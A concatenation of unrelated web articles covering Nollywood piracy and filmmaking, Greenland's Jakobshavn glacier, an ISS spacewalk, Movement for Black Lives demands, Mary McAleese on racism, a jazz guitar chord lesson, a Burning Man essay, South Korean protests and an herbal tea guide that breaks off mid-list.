The legal and illegal industries continue to operate in parallel, within an opaque system of relationships and rules set by the Alaba cartel, Emeka Mba, head of Nigeria’s efforts to regulate the film industry, told me. “The pirates, they know them — it’s part of them,” he said. The marketers seldom use lawyers, accountants or written contracts; when they make a film, it is often unclear who even holds the copyright. When Mba’s agency tried to impose some legal order, for instance mandating that marketers register under a postal address, he met brutal resistance. Anti-piracy raids, though rare, have sparked violent uprisings at Alaba.
Isikaku did not deny that there were pirates in his membership’s midst, but he claimed that guild leaders were trying to confront them, sometimes physically, sometimes with persuasion. But the reality is that when everyone is stealing, you have to price like a pirate.
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Carl Laemmle might have recognized the marketers’ situation. When he started Universal, he immediately came into conflict with Thomas Edison , who held patents on movie cameras and projectors. Edison had been waging a legal battle against “dupers,” unauthorized copyists who would take a film and redistribute it, often just snipping off the copyright frames. As Edison saw it, his intellectual property rights gave him a monopoly on all film production. He went after Laemmle, too, filing some 289 lawsuits against him and dispatching goons to break up his film shoots.
Laemmle responded by organizing some other “independents,” a handful of mostly Jewish movie producers who operated out of New York. In 1917, they defeated Edison in the Supreme Court . But by that time the independents had already moved en masse out to California , where they could shoot in sunny weather, away from the chill of legal scrutiny. “They were pirates!” says Bic Leu, a Fulbright fellow who has studied Nollywood. “They moved to L.A. to get away from Thomas Edison.”
One evening at a hotel bar, I happened to run into a Nigerian-born actor named Wale Ojo. We got to talking, and he said that after scraping by for years in London , he returned to try his luck back home. A few days thereafter, in a true Nollywood twist, I met Ojo a second time, when Afolayan introduced him to me as the new lead actor in “Phone Swap.” Afolayan had us over one Sunday evening to drink wine by his poolside, along with some friends from the industry and a couple of international film buffs.
“Black British actors are cheap right now,” Ojo said.
“Good,” Afolayan replied. “Because I don’t have the money to pay you.”
Afolayan had also come up with an actor to take Sam Loco’s role, so everything was in place for “Phone Swap” — except the financing, which remained frustratingly elusive. The director kept offering self-confident assurances that his backer would come through. But anyone could tell that, all quips aside, he was anxious.
Perversely, the rise of video, which had given Afolayan the ability to practice his father’s craft, had also robbed it of its value. His career represents a possibly rash wager: that even in the most lawless marketplace, talent is still worth a premium. When he started to make “The Figurine,” announcing on Facebook that he planned to spend 50 million naira, roughly $350,000, the universal reaction was incredulity. Afolayan told me: “Everybody started writing, saying, ‘How will you make your money? You want to commit suicide?’ ” To pay for “The Figurine,” Afolayan took out a bank loan for half the budget, pledging his house as collateral, and subsidized another third of the movie through product placement.
“Kunle was out to make a statement, that it was possible to make a good film in this country using local hands,” Yinka Edward said. When he ran out of money at one point, stalling production, Afolayan borrowed from family and friends and asked his cast and crew to keep working on good faith.
His efforts appeared to receive vindication in the box-office performance of “The Figurine.” But the triumphal narrative breaks down when you examine the financials. For all its acclaim, Afolayan said that “The Figurine” had yet to turn a substantial profit. The movie showed to packed houses, but there are just seven major theaters in Nigeria, and it grossed only around $200,000 in its initial release, not enough to cover Afolayan’s investment .
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To maximize revenues, Afolayan made a deal with an independent entertainment company that was having encrypted DVDs of “The Figurine” shipped in from China for mass distribution. The executive handling the project told me that his plan was to simultaneously release a huge number of copies across the country, so as not to create scarcity, which encourages piracy. Then he drew a diagram of his network, each strand of which ended with some regional marketer. There was just no way to circumvent the unyielding force of the cartel. Emeka Mba, the government regulator, told me that he saw Afolayan’s efforts to devise a new distribution system as an inspirational experiment. “Here’s a guy who wants to do things differently,” he said. “Here is a guy who is brave.”
After weeks of waiting for his nervous investor, Afolayan called his editor and sidekick, Steve Sodiya, into his office and said he had decided to move forward. “I want to start with my own money,” Afolayan told him. “We have to start the shoot. I’ve been making a backup plan.” It involved some financing from product placement, and a large personal endorsement contract — from a cellphone company. His production company’s office, sleepy for days, was suddenly abuzz with frantic preparation: costumes, casting, equipment rentals. Afolayan spent an afternoon in last-minute negotiations to knock down everyone’s fees. “You think I am not resourceful?” he shouted at one resistant crew member.
As climate-watchers and coastal-dwellers keep a weather eye out for signals of irreversible changes in the environment, the world’s fastest-moving glacier has already begun self-destruction.
Jakobshavn is now shedding ice nearly three times as quickly as it was 20 years ago, dumping enormous and growing quantities into the ocean. It's contributed 0.1 millimeters per year to worldwide sea-level rise — more than 3 percent of the 3 mm produced globally — for the past decade.
The glacier “has been retreating for the last 100 years,” according to Ian Joughin, senior principal engineer at the Polar Science Center, part of the University of Washington's Applied Physics Laboratory. “Retreat” means a glacier is shrinking in length, losing more ice from its face that meets the water than accumulates from higher up.
But it was only in recent decades that the retreat reached extreme levels.
Jakobshavn’s story isn’t unique. For decades now, more ice has been melting into the ocean than is falling from the sky in the world’s mountain and polar regions, where ice sheets store two-thirds of the planet’s fresh water — and the science shows us the situation won’t reverse any time soon.
To understand exactly what’s happened and what's likely to come, it’s critical to understand the topography underneath each glacier.
First, a note on how to think about glacial ice: it's not as simple as frozen water. Scientists consider glaciers to be "nonlinear viscous fluids," which behave like both solids and liquids. Think of a glacier as a frozen river, always flowing at some speed from source to outlet, but growing and receding with the seasons. Because ice is heavy and not a perfect solid like rock, it flows under gravitational pull and pressure from above. Sometimes big chunks become unstable and fall into the sea. When Earth’s climate is in balance, about the same amount of water flows into the oceans from glaciers as is evaporated and then precipitated as snow onto ice sheets from which those glaciers are made.
More from GlobalPost: Calamity Calling: A global investigation into climate change
The Jakobshavn Glacier, known in Danish as Jakobshavn Isbræ, has its origins in large areas of land well above sea level, from which it flows down toward the ocean (in this case, Ilulissat Icefjord), where it calves icebergs into the water.
As physicist Joughin describes it, Jakobshavn Glacier flows off the land and into the 1,600-meter-deep fjord, filling it entirely with ice for a distance of about 50 kilometers, ultimately climbing up a slope in the sea floor that peaks at about 600 meters of depth. The narrow sheet of ice coming off the edge of the glacier at that peak — called a “glacier tongue” — once served as a sort of “cork” for the glacier, holding it back significantly and preventing quicker loss of ice.
You can see the rise in sea-bed elevation just to the left of center in this graphic.
In 1992, Jakobshavn was melting at a rate of about 6 kilometers a year. It was “about in balance” with the natural rhythm — gaining and losing roughly the same amount of ice over the course of a year’s winter accumulation and summer melting, Joughin said.
But in the late 1990s, the glacier’s tongue broke off, and the “uncorked” Jakobshavn began to calve and lose mass in ever-deeper water.
By 2000, the glacier was losing 11 kilometers in length every year, nearly twice the stable speed. As of last summer, according to a paper Joughin and others published recently in academic journal The Cryosphere, it was losing nearly 17 kilometers a year, retreating up the fjord into increasingly deep water that could cause it to melt even faster in the coming decades.
This graphic shows ice flow velocity as color over SAR amplitude imagery of Jakobshavn Isbræ in a) February 1992 b) October 2000. In addition to color, speed is contoured with thin black lines at 1000 m/yr intervals and with thin white lines at 200, 400, 600, and 800 m/yr. Note how the ice front has calved back several kilometers from 1992 to 2000. Further retreat in subsequent years caused the glaciers speed to increase to 12,600 km/yr near the front. The town of Illulisat is just off the edge of the image on the north side of the fjord. (Courtesy of PSC/APL/UW)
Jakobshavn’s dramatic change was recorded in the 2012 film "Chasing Ice," in a compelling scene that captured the calving of a kilometer of ice in a single event. That happens throughout the summer, Joughin said, though not always in such significant individual moments. (When it does, though, global seismic monitors have been known to register them as 4 or 5 on the Richter scale, he said.)
Here's the clip from the documentary:
Eventually — perhaps in about 100 years — the glacier will have retreated far enough that it will no longer feed directly into the fjord. At that point, essentially landlocked, the glacier will only shrink through melting, which happens much slower than calving. With that slowing will come more stability in terms of the glacier’s size. “The next stable condition could be a regionally smaller ice sheet,” Joughin said.
Jakobshavn would still contribute a significant amount of global sea-level rise before then. But the real danger lies at the other end of the Earth, in the West Antarctic Ice Sheet (WAIS), which holds enough water to raise the ocean between three and six meters.
The WAIS is also melting, but it’s doing it in open water; once the process starts, the sheet will never stop calving.
“The [WAIS] glaciers are going to keep retreating. At this point there is nothing we can do but watch,” said Eric Rignot, a glaciologist at the University of California Irvine who published his latest paper about the WAIS in December’s Geophysical Research Letters. “Just how fast they can flow, we don’t know,” he said.
It could take hundreds or thousands of years, but as Joughin puts it, the next stable point for WAIS is “no ice sheet.” By then huge areas of land, home to massive proportions of the world’s population, would be under water.
Recently, a report stated that two NASA astronauts left the International Space Station on Friday for a 6-1/2-hour spacewalk to install a parking spot for upcoming commercial space taxis, which will end US reliance on Russia for rides to the orbiting outpost. Station commander Jeff Williams and flight engineer Kate Rubins floated outside the station's airlock at about 8:15 AM EDT (1215 GMT) and headed toward the berthing slip once used by NASA's now-retired space shuttles, a NASA TV broadcast showed.
California-based SpaceX, owned and operated by technology entrepreneur Elon Musk, plans to begin test flights of its new passenger Dragon capsule to the station in 2017. Boeing's debut flight of its CST-100 Starliner capsule is expected in 2018. NASA had hoped to have the first of two new docking ports installed last year, but the equipment was destroyed during a SpaceX cargo ship launch accident in June 2015. A replacement docking port is under construction and expected to be delivered to the station in early 2018.
“We demand that the government repair the harms that have been done to black communities in the form of reparations and targeted long-term investments. We also demand a defunding of the systems and institutions that criminalize and cage us,” the Movement for Black Lives said in a statement released on Monday, highlighting six demands and 40 policy recommendations.
“The government, responsible corporations and other institutions that have profited off of the harm they have inflicted on black people — from colonialism to slavery through food and housing redlining, mass incarceration, and surveillance — must repair the harm done,” the group said, calling for the passage of a bill designed to create a commission to study reparations for descendants of slaves.
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The platform demands, among other things, reparations for the “wealth extracted from our communities through environmental racism, slavery, food apartheid, housing discrimination and racialized capitalism” as well as reparations for the “systemic denial of access to high quality educational opportunities in the form of full and free access for all black people (including undocumented and currently and formerly incarcerated people) to lifetime education.”
Slamming the influence a person’s criminal history has on their eligibility for just about everything – from education and housing to voting, loans and employment – the movement specifically called for an "end to the mass surveillance of Black communities, and the end to the use of technologies that criminalize and target our communities (including IMSI catchers, drones, body cameras, and predictive policing software)."
The agenda urges an "immediate end to the criminalization and dehumanization of Black youth across all areas of society” and demands an end to the death penalty in the US.
It also strongly recommends the demilitarization of law enforcement, including law enforcement in schools and on college campuses, saying that educational sites that allow guns “are only causing campus law enforcement to demand armament, creating a vicious cycle of firearms in higher education."
Black Lives Matter was created in 2012 after George Zimmerman was acquitted in the killing of unarmed black teen Trayvon Martin. It is the first time the movement has voiced official demands.
The far-reaching platform was unveiled in light of the second anniversary of the killing of another unarmed black teen, Michael Brown – shot dead by a white police officer in Ferguson.
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"It's us saying that we're not backing down," Dara Cooper, an organizer with the National Black Food & Justice Alliance, one of the partner groups, told AP.
"In the tradition of our ancestors and elders who have been in this very long struggle, we're going to keep working toward what we deserve."
"Black life is undervalued and assaulted in myriad ways," Cooper said. "Policing and mass incarceration has so much to do with it, but it's also the education we receive, the type of food we have access to, the ability to be self-determining through land ownership. ... We fight against things, but we also need to be fighting for something," she added.
The US continues to face racial, social, and economic inequalities, inhibiting the basic rights of its citizens, especially people of color, a UN special rapporteur on the rights to freedom of peaceful assembly and of association said last week.
These inequalities are rooted in the history of the US and particularly impact black Americans, UN human rights expert Maina Kiai said, adding that he could not conduct a visit to the US “without issues of racism pervading the discussions.”
Former president Mary McAleese believes the rise of Donald Trump and the Brexit vote have left people feeling "empowered to be openly hostile and racist, as if that is acceptable".
Ms McAleese said the rise in hate crime in the US and the UK in the wake of the vote for Brexit and the election of Mr Trump was "extremely worrying" and she appealed for any hate crimes here to be dealt with "robustly".
She said she hoped that Irish people would not get involved in the "kind of things that we heard of during the Brexit campaign or during the Trump campaign", such as the "name-calling, the stereotyping and the racism".
"My worry is that in other countries people sort of feel empowered now to be openly hostile and to be racist, as if that is acceptable," she warned of the fallout from the Brexit debate and Mr Trump's anti-immigration platform.
She was speaking to the Irish Independent ahead of the arrival this week of the first 82 Syrians in Ballaghaderreen, Co Roscommon.
The former president is spearheading a bell-ringing initiative aimed at sending a message of welcome to immigrants during St Patrick's weekend.
On Sunday, March 19, Ms McAleese will formally relaunch the bells of Christ Church Cathedral in Waterford city, which have been silent for 18 months due to ongoing repair work.
At 11am that day the "Joy Bells" of the Church of Ireland cathedral will ring out once again as part of the anti-sectarian ecumenical initiative. It will also see churches around the world ring their bells that day in solidarity with immigrants.
"Part of what we hope to ensure with our bell peal is that no such intolerance ever occurs in our country which has its own phenomenal history of being the immigrant elsewhere," the former head of state explained.
She said there was nobody on the island of Ireland who did not have an emigrant cousin, uncle, aunt, sister somewhere in the world.
"We know that story and we know how important a warm reception is to people," she said.
She also paid tribute to Ireland for having "absorbed very significant numbers of non-Irish nationals over a very short period of time".
"We have done that with a downturn in the economy and without resorting, at the political level, to the kind of things that we heard during the Brexit campaign or during the Trump campaign. I hope that that remains the case."
But she stressed that this was not to say that there were not people who had on a daily basis encountered nasty hate crimes perpetrated by individuals. "I would like to think that we deal with that very robustly and stop that in its tracks."
The bell-ringing initiative is the first of its kind and has been co-organised with Dean Maria Jansson of Christ Church Cathedral in Waterford, the daughter of an Irish mother and Swedish father.
St Patrick's weekend was deliberately chosen because the national saint is, according to Ms McAleese, "by far the most famous and successful immigrant to Ireland".
"He was the trafficked child; he was the refugee and the immigrant who impacted on his adopted homeland in remarkable ways and made such a contribution. He tells us through his story how important it is to remain open to others and the gift others bring to us," she said.
I often ask this question to my students and some say Major 7th chord others guess, Minor 7th and some say Dominant 7th. Truth to be told everyone is right in their answers because there is no definite answer to this question due to the chord being out of context and having no root in the bass.
When learning to play jazz guitar an important skill that helps us get more from vocabulary is seeing one chord as multiple over chords which are sometimes reffered to as chord synonyms.
Not only does seeing multiple chord possibilities within each chord type give you more possibilities for superimposing in single line improvisation it also gives us more comping options.
While one chord may potentially be many different types of chords this lesson will focus on interchanging the three main chord types; Major 7th, Dominant 7th and Minor 7th.
The benefit in learning this means that if you was comping a progression that primarily utilizes one chord type like a blues using dominant 7ths, you can mix major and minor 7th chords with your dominant 7th inversions giving you three times the chord vocabulary you would normally have. This technique was shown to me by the fantastic guitarist Adrian Ingram.
If we examine the chord shown at the beginning of this lesson, three different chord types can be found by changing the root and keeping the notes on the top three strings in place.
Notice that there are overlapping notes in each inversion and that from these three chords G-9 and C13 are II-V’s in the key of F major.
This shows that any II chord can be replaced with it’s V chord, and any V can be replaced with it’s II chord meaning that in either a resolving or non-resolving II-V situation you have the option to either comp or blow just using one chord type instead of two.
This substitution is used by jazz guitarists such as Wes Montgomery, George Benson and Pat Martino. Wes Montgomery made great use of this concept in his latin-blues composition ‘Cariba’ where the bassist plays a Bb blues and Wes uses F minor inversions.
When the progression moves up a forth to Eb7 Wes uses Bb-7 inversions. Eb7 is the chord in content and Bb-7 is the II of Eb7 in the key of Ab major 7.
The third and final chord type that can be used over the dominant 7th chord is the major 7th. You can apply your major 7 inversions over dominant 7th chords by thinking a tone below the root of the dominant 7th chord in question.
For example if the chord in content is a Bb7, the root is Bb, and a tone below Bb is Ab. Therefore, Ab major inversions can be used over the Bb7.
If the major 7th chord substitution is applied over the IV chord in a Bb 12 bar blues, which is Eb7, Db major 7 inversions can be used.
The following diagram shows all the potential substitutions that you can use over the first 8 bars of the jazz blues progression.
This Chord Synonyms concept is very effective when there is one chord an extended amount of time like the first 8 bars of a blues, modal situations, or over a one chord vamp.
I have used the blues as an example in this lesson because most jazz guitar players will know this form so the concepts can used straight away but chord synonyms should be applied to all the jazz standards that you know.
Remember that the Chord Synonyms concept also works great for single line soloing too.
Purchase the “30 Days to Better Jazz Guitar Comping Ebook” with 20 pages of extra material, lessons and audio examples!
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They didn’t have a pre-planned camp spot. They could be anywhere. They had her food and water and clothes. It was her first Burning Man. She didn’t know anybody else. She came to our camp (well, my friends’ camp) because it was a radio station, and wondered if we could put out a call asking for someone to help.
But that’s not why we started calling her “Lost Girl.”
We put her on the air and she started crying when she explained what happened to her, and at that moment she was an honorary member of our camp. (Well, technically “their” camp since I just hang around here because the couches are really comfortable.) Everything changed on a dime. Everyone was resting, it was the middle of the afternoon, I was flirting with Charlotte and getting somewhere for the first time – and the moment her tears hit the ground everybody had something to do. Get her a beer; get her blankets; find her a sleeping bag; put aside some food; give her a hug; tell her that no matter what it’s going to be all right. I’d never seen the ranks close so quickly.
She replaced me as the camp charity case, that’s for sure. Without even a shot fired. But I bowed out gracefully. I mean, come on now, she had it rough. Especially when her people didn’t come for her. We helped her do all the things you do: leave a message at Playa Info, talk to the Rangers, put PSAs out over the air … but they never came looking.
“Where do you live in the real world?” I asked her the next day when I stopped by the station for a gin and tonic.
“Orange County,” she said.
“California?”
“Yeah.”
I almost laughed. “Well, this is easy then. You’ll camp here, you’ll have no problem catching a ride back, and then you can yell at your ‘friends’ as much as you like and get your stuff back. Meanwhile, trust me, you’ve come up in the world. These guys …” I waved my hand around the station. “They’re the best. This is exactly where you want to be. These people will change your life. Truly change your life. And next year, you’re going to have a hell of a ‘my first Burning Man’ story. It’ll be awesome. Best thing that ever happened to you. You’ll be a legend.”
I raised my glass up, and clinked it with her can of Tecate, but she lowered her eyes. “I kinda need to find them here if I’m going to get my stuff back,” she said
“Really?”
“Yeah.”
I waited. Silence is a powerful thing.
“I don’t really have a home,” she said, slowly. “I was living in a half-way house, and as a condition of my parole I had to stay there for a few more weeks. I’m supposed to have a drinking problem.” She grinned like it was a joke. “But then this spot opened up on the RV, and I could go to Burning Man, and I thought ‘fuck yeah,’ so I went out here, and as soon as I go back I’m going to have to go through the system again for a little while.”
I blinked. “So …” I said, in that voice you use when you’re stacking facts on top of one another to see how high they go, “… you’re homeless, you’re in court-ordered treatment, and because you skipped out, when you get back from Burning Man you’re going to jail?”
“Yeah.” She grinned again. “Probably for a few weeks.”
“Huh.” I tried to put this in perspective. “And … how long have you been homeless?”
She wasn’t hesitating anymore. “I ran away when I was 14. I go up and down California, but mostly Orange County. It’s where I grew up.”
“So …”
“So maybe 16 years.”
“That’s a long time.”
“Yeah.”
I nodded, trying to think of what to say. “Well, you’re still going to have a great story. From treatment to Burning Man to jail is pretty epic.”
“Really? That’d be cool.”
That’s when we started calling her “Lost Girl.”
I’m told she went out wandering, but she was always there when I came by A few days later the rangers tipped her off and she found her camp, but she mostly still stayed with us … them … them. (I need to remember it was with them: my tent was three streets away.) Something about making that choice, of having the option to go with her original plans but choosing to stay with us made her happy. Made her glow.
On Thursday night I was supposed to meet a bunch of my friends at the station and drink together before we went out to explore. I had it all planned out – but none of them came. None of them. Not even Charlotte, who goddamit I’d been making out with yesterday after we went to get ice. I should have … I should have seen that coming, you know? We’re all such flakes around here, and a kiss is just a kiss.
I saw Lost Girl wander into the station and grab a coat. “Hey,” I said, because there was nothing else to do. “Do you want to go exploring? Tonight only I’ve got an art car.”
“Let’s go!”
She hadn’t been to the French Quarter yet, so I took her there and we drove between the burlesque house and the brass band. At 8 and A there’s a saloon where hillbillies play on an elevated stage and the bar has pairs of dice sitting on it. You roll the dice when you want a drink, and the number that comes up determines what you have to do to get it.
Lost Girl rolled a 7 – that meant she had to carry someone all around the bar. They found her a short man … she can’t be more than 5’2 … and she heaved him up on her back and walked around twice before collapsing back where she’d started, short of breath.
I rolled a 4. “Tell me something I don’t know,” the British bartender said, crossing his arms.
I leaned forward so he could hear me. “In 4th century Mahayanna Buddhism there was a school of thought called “CittaMattra,” which roughly translates as ‘mind only.’ They believed that all of reality was a product of the mind. They thought this, in part, because matter is illogical: it doesn’t make any sense. For matter to work it has to be composed of a bunch of smallest particles stacked together to make objects. But you can never reach a ‘smallest particle,’ because particles are always further sub-dividable. They have tops and bottoms, left sides and right sides. So you keep dividing, and you keep dividing, and the only way you ever reach a smallest particle is if you reach a particle so small that it has no top or bottom, no left side or right side. A particle that is infinitely small. But when you’ve got that, you can’t build anything with it: because infinitely small particles will never add up to an object, no matter how many you stack on each other. So matter doesn’t work, and the only alternative is that the universe is a mental object.”
I have no idea what I decided to say that.
“That’s good,” the bartender said. “That’s good. But … if the universe is all in the mind, then why do we all see and hear the same things? Why don’t we all see and hear different things?”
“Because,” I said, delighted by the question, “what causes the shape of the mental illusion is karma. We see what we see because of our karma. Those of us who see and hear the world we are all in now …” I gestured around at the bar “… do so because we have the same karma. We all carry the same burden, and have to go through the same things to shake it off.”
“All right!” he said, and I could see that for some reason this had made his night. “All right! That’s good. What’re you two having?”
I ordered a mojito, which came out fast and delicious, but Lost Girl just said “Beer me,” and the bartender’s face twisted.
“I’m … I’m afraid that’s the one thing we don’t have. Sorry. We’re liquor only, tonight.”
She shook her head. “I can’t do liquor”
“Is there anything …”
“No,” she said, and I think I actually saw her shudder. “I can’t do liquor. I can’t. It’ll start something bad.”
He was at a loss. “Then … what … do you want a Coke?”
She deflated a little. “Yeah, okay.”
We walked back to my mutant vehicle, drinks in hand. “I can’t BELIEVE it!” she said as we got in the front. “I can’t BELIEVE I carried somebody all around that bar just for a Coke. And it’s WARM!”
“Well,” I said, trying to come up with something profound … and never finished the thought. I had nothing.
“You know,” she said, “I think this is the first bad thing that’s happened to me here.”
I stared. “Really? Because … it seems like something worse happened.”
She waved that away. “I love the station. They’re the best people I’ve ever met.”
“Yeah.”
“Hey, my other camp is right nearby. Want to go there? We have this thing called the Wheel of Fate. You can try spinning it. See what happens. Want to? Plus, I can get my other blanket before I go back to the station.”
I put the key in the ignition and followed her directions over one block and up four. But camp, when we got there, was pitch black.
“Shit,” she said, and hopped out of the car. “Well, I’ll just be a minute.”
I turned the ignition off, turned my flashlight on, and went over to the big cardboard wheel, using my light to read the things it could land on. A lot of them involved doing something dirty with “Rhonda.”
“Who’s Rhonda?” I called out.
“She’s our blow-up doll,” she called back. Ah-hah. Fate, then, was mostly an exercise in humiliation.
A few moments later she was back, and had put a blanket and a few beers in the art car. “Ready to go?” she asked.
“No spinning fate?” I said.
She looked at me like I was crazy. “No,” she said, “of course not. There’s nobody else here. You don’t tempt fate alone. You face it with people.”
“Right,” I said, thinking that when all this was over I’d be going back to an empty apartment and she’d be going to a cell. “Right.” You face it with people – how had she figured that out and I hadn’t?
“I can’t wait to come back next year,” she said as I drove her back to the station.
“Right.”
Caveat is the Volunteer Coordinator for Media Mecca at Burning Man. Contact him at Caveat (at) Burningman.com
The 2016 Safest College Campuses ranking is based on key statistics and student reviews, the university said in a news release. According to the Niche website, “top ranked colleges offer a safe and healthy environment with little or no campus crime, drugs or alcohol usage.”
Brigham Young University in Provo, Utah, was the top ranked. Baptist Bible College & Seminary in Clarks Summit, Pennsylvania, ranked second; Regent University in Virginia Beach, Virginia, ranked third; Corban University in Salem, Oregon, ranked fourth; and Whitworth University in Spokane, Washington, ranked fifth.
At the time of analysis, the database of Colleges.Niche.com contained records for 1,713 public and private, traditional four-year colleges and universities across the United States.
“We are thankful to be recognized as a safe campus,” Ron Coffey, vice president for Student Life, said in a statement.
The ranking, he said, is a result of diligence by campus police, combined with responsive students, faculty and staff. Campus police also work closely with the Huntington Police Department.
"Huntington University continues to be a place where students can receive a high-quality, Christ-centered education within the context of a safe learning environment,” Coffey said in a statement.
The university noted it has ranked well on other lists. U.S. News & World Report, for example, ranks Huntington among the best colleges in the Midwest, and Forbes.com has listed it as one of America’s Best Colleges.
Despite thick lines of police officers separating the two sides on Saturday, there was some yelling and shoving between them with one Park supporter hitting an anti-Park protester with a flag pole.
There were no immediate reports of serious violence or injuries.
"I can't stand Park for even another day. Nobody wants her, but she's stubbornly sticking around, using taxpayer money like it's her money," said Kim Eun-young, who participated in her third weekend protest.
The large weekend demonstrations over a corruption scandal pushed South Korea's opposition-controlled parliament to vote this month to impeach Park.
The impeachment suspended her powers until the Constitutional Court decides whether she should permanently step down or be reinstated.
While polls measure Park's popularity in the low single digits, her impeachment has become a rallying point for her conservative supporters, who turned out in the tens of thousands on Saturday.
They waved the country's national flag and shouted for Park's "illegal" impeachment to be "nullified", and the "rotten" parliament to be dissolved.
READ MORE: South Korea parliament probes Park's 'missing hours'
Tension was tangible as anti-Park protesters, whose numbers were much bigger, gathered on a boulevard across the street from where Park's supporters were rallying. Protest organisers estimated about 600,000 anti-Park protesters turned out.
Huge throngs of anti-Park protesters later walked towards the presidential offices and residence, known as the Blue House, carrying candles, signs, and calling for Park to immediately quit.
Other groups marched towards the office of Prime Minister Hwang Kyo-ahn, who assumed the role as government caretaker after Park was impeached on December 9, and towards the Constitutional Court.
Prosecutors accuse Park of colluding with a longtime confidante - Choi Soon-sil - to extort money and favours from companies and allowing her to manipulate state affairs.
OPINION: South Korea's political morass
The court has up to six months to decide on Park's case. If she is formally removed from office, the country will hold a presidential election within 60 days.
Park has apologised for putting trust in her jailed friend Choi, whose criminal trial begins on Monday, but has denied any legal wrongdoing.
Last Updated: May 14, 2015
Here is a list of herbs and their corresponding categories to refer to when concocting your own personalized blend of energizing teas. This list does not include the common herbs used to treat acute illnesses, but are rather varieties that work as cleansing, activating, sedating or tonifying agents to help prevent sickness from occurring in the first place.
As an array of health conditions afflicting a majority of people today have been linked to a lack of adequate nutritional uptake, herbs and their extracts are becoming more and more significant as natural dietary adjuncts.
Herbal teas are a great way to provide necessary compounds in an easy to assimilate nutrient-rich format that is additionally hydrating to the body. They are simple to make, requiring only two basic ingredients: hot water and plant material.
Whether you like to drink cups of tea or prefer using them in soups or various blended drinks, they can act as enriching herbal superfood restoratives for one of the best ways to super boost your immune system and replenish your health.
What is Herbal Tea?
Herbal tea preparation is an alchemical process that takes roots, leaves, mushrooms, barks or berries and transforms them into a liquid substance that can be easily absorbed by the body when consumed. Teas are the synergistic brewing and blending of different herbal elements that work together to increase the nutritive components of the herbs being used.
The Beginning of Herbal Tea Alchemy
Herbal tea alchemy has formed the basis of medicine since the dawn of civilization. Herbalism itself IS the oldest system of medicine as documented by cultures around the world.
Herbs from the plant world, and their tea preparations, have been used by ancient peoples since the beginning of primitive human life on this planet.
How to Make Herbal Tea
Although some herbs and roots can be taken as raw unrefined powders, most need to be heated or tinctured to release their medicinal components.
1) Herbal Tea Infusions - This first process involves making an herbal tea by using a hot water infusion or decoction technique. Tea infusions are the way most people are familiar with making tea. They are used for lighter weight herbs and achieved by pouring hot water directly over the herb and steeping it, preferably covered, for a short period of time.
2) Herbal Tea Decoctions - Tea decoctions are used for roots, dense mushrooms and some barks. They are created by simmering the herbs for 20 minutes or longer in a glass or ceramic pot with a lid. In both cases, the plant material is strained and the liquid that remains is condensed with phytonutrients and medicinal compounds unique to each herb variety.
Note: This information was created for those of you who wish to learn more about herbs and preparing personalized tea blends. However, it is also sometimes appropriate to seek the advice of a qualified herbalist or Chinese or Ayurvedic practitioner when concocting teas for specific health conditions.
For those of you who'd like to start making quarts of daily tea, it does take some practice to get into the "tea making" rhythm. One of the great things about herbal teas is that they can be prepared in advance and stored in the fridge for later use. Cooled teas can be used as the base for blended smoothies or shakes and are great to use with top superfoods to "alchemically" enhance their health benefits.
Other Alternatives To Herbal Teas
If the idea of making herbal brews is not for you, there are of course other options for modern-day convenience. Herbs can also be taken in extract form, whereby they have already been hot water processed into a powdered extract. This powder can simply be stirred in hot water for an instant tea that does not involve loose bulk herb matter or tea bags.
Additionally, all herbs can be tinctured in alcohol or glycerine for another suitable choice if you're not typically a tea-drinker. Tinctures come in dropper bottles that can be dropped into water or most any drink.
List of Herbs
We list below some of the categories to choose from depending on whether you want to nourish, flavor, build, stimulate, soothe or cleanse the body. All of these herbs can be mixed and matched to create the perfect tea formulas specific to your unique health goals.
Many herbs, tonics, berries, flowers and spices, as you will see, can fall into more than one specific category, but there usefulness is relative to the amount used and other herbs blended with them in tea preparations.
1) Nutritive Herbal Tea
Nutritive herbs are whole plant-based "herbal supplements" filled with condensed amounts of minerals. When these herbs are infused in hot water, a nutritious phytonutrient-rich bioavailable liquid is created.
These teas can be extremely helpful for replenishing dietary mineral deficiencies, a condition that is becoming more and more prevalent in today's world because of unsustainable farming practices that deplete the soil of nutrients. Adequate uptake of dietary minerals is essential for things like proper neurological functioning, building strong bones as well as providing healthy hair and skin.
These herbs help to fortify and nourish the body through an immediate influx of mineral content. They can be used alone, infused with other herbs or steeped into pre-made tea decoctions. This list of herbs includes leaves and grasses such as:
nettle
oatstraw
alfalfa
red clover
raspberry leaf
horsetail
2) Cleansing Herbs
Cleansing herbs are the roots, barks, seeds, mushrooms and berries of various plants that help to purify the bloodstream and remove toxins from the body. Primarily working with the liver, cleansing herbs can be beneficial detoxifying aids for periodic detox regimens.
They are useful teas and powders for removing accumulated environmental pollutants from the body as well as metabolic wastes produced from substances we ingest. A build up of these toxins, over time has been known to cause neurotoxic effects, mental decline and hormonal imbalances that often hinder long-term vitality.
This category of herbs are both cleansing to the liver and intestinal tract, the two locations where toxic waste materials tend to collect. Among these are the class of "alterative" liver herbs, Chinese liver cleansers and intestinal antiseptics such as:
dandelion root
oregon grape root
yellow dock
milk thistle seed
sarsaparilla root
burdock root
pau d'arco
sarsaparilla root
turmeric
schizandra berries
bupleurum root
black walnut hull
3) Herbal Stimulants
Herbal stimulants are nourishing herbs that gently spark and activate the nerve endings by enhancing circulation and boosting antioxidant levels. Some also specifically tonify the organs and glands, which as a result can naturally amplify one's liveliness, vigor and libido.
Unlike the many traditional caffeinated stimulants (ie: coffee, black tea, yerba mate and green tea), the herbal stimulants we are referring to do not agitate adrenals or manipulate energy. Instead, they actually revitalize and provide balance to the central nervous system.
Herbs, like the tonic adaptogens, work to alleviate anxiety and nurture deep energy that is long lasting and life supporting. While others contain volatile oils and other specific plant constituents that help to therapeutically activate the body systems and provide what some herbalists like to call "the inner tingle."
They are an excellent addition to herbal tea formulations because their stimulating nature acts a carrier for other herbs and tonics. Some of these herbs and various spices include:
gotu kola
mint
ginger
ginkgo
cayenne
maca root
anise seed
astragalus nutmeg
ginseng
ashwagandha
cinnamon
gynostemma
coriander
tulsi
dandelion root
4) Tonic Herbs
The Chinese herbs and Ayurvedic herbs are some of the most profound and potent forms of herbal medicine on the planet. Known as adaptogens or rasayana herbs, they are plants, and most often roots, that deeply support nerve, endocrine and organ functions.
The Chinese have developed a sophisticated system of herbalism, singling out a selected list of herbs, referred to as the "superior herbs" or "major tonic herbs." These herbs have been revered for thousands of years for their adaptogenic qualities that are believed to promote a healthy long life with prolonged use.
In addition, the Indian Vedic System of herbology has also classified specific rasayana herbs to be used for tonifying the organs, tissues and nervous system. Some of these Chinese and Ayurvedic herbs include:
schizandra
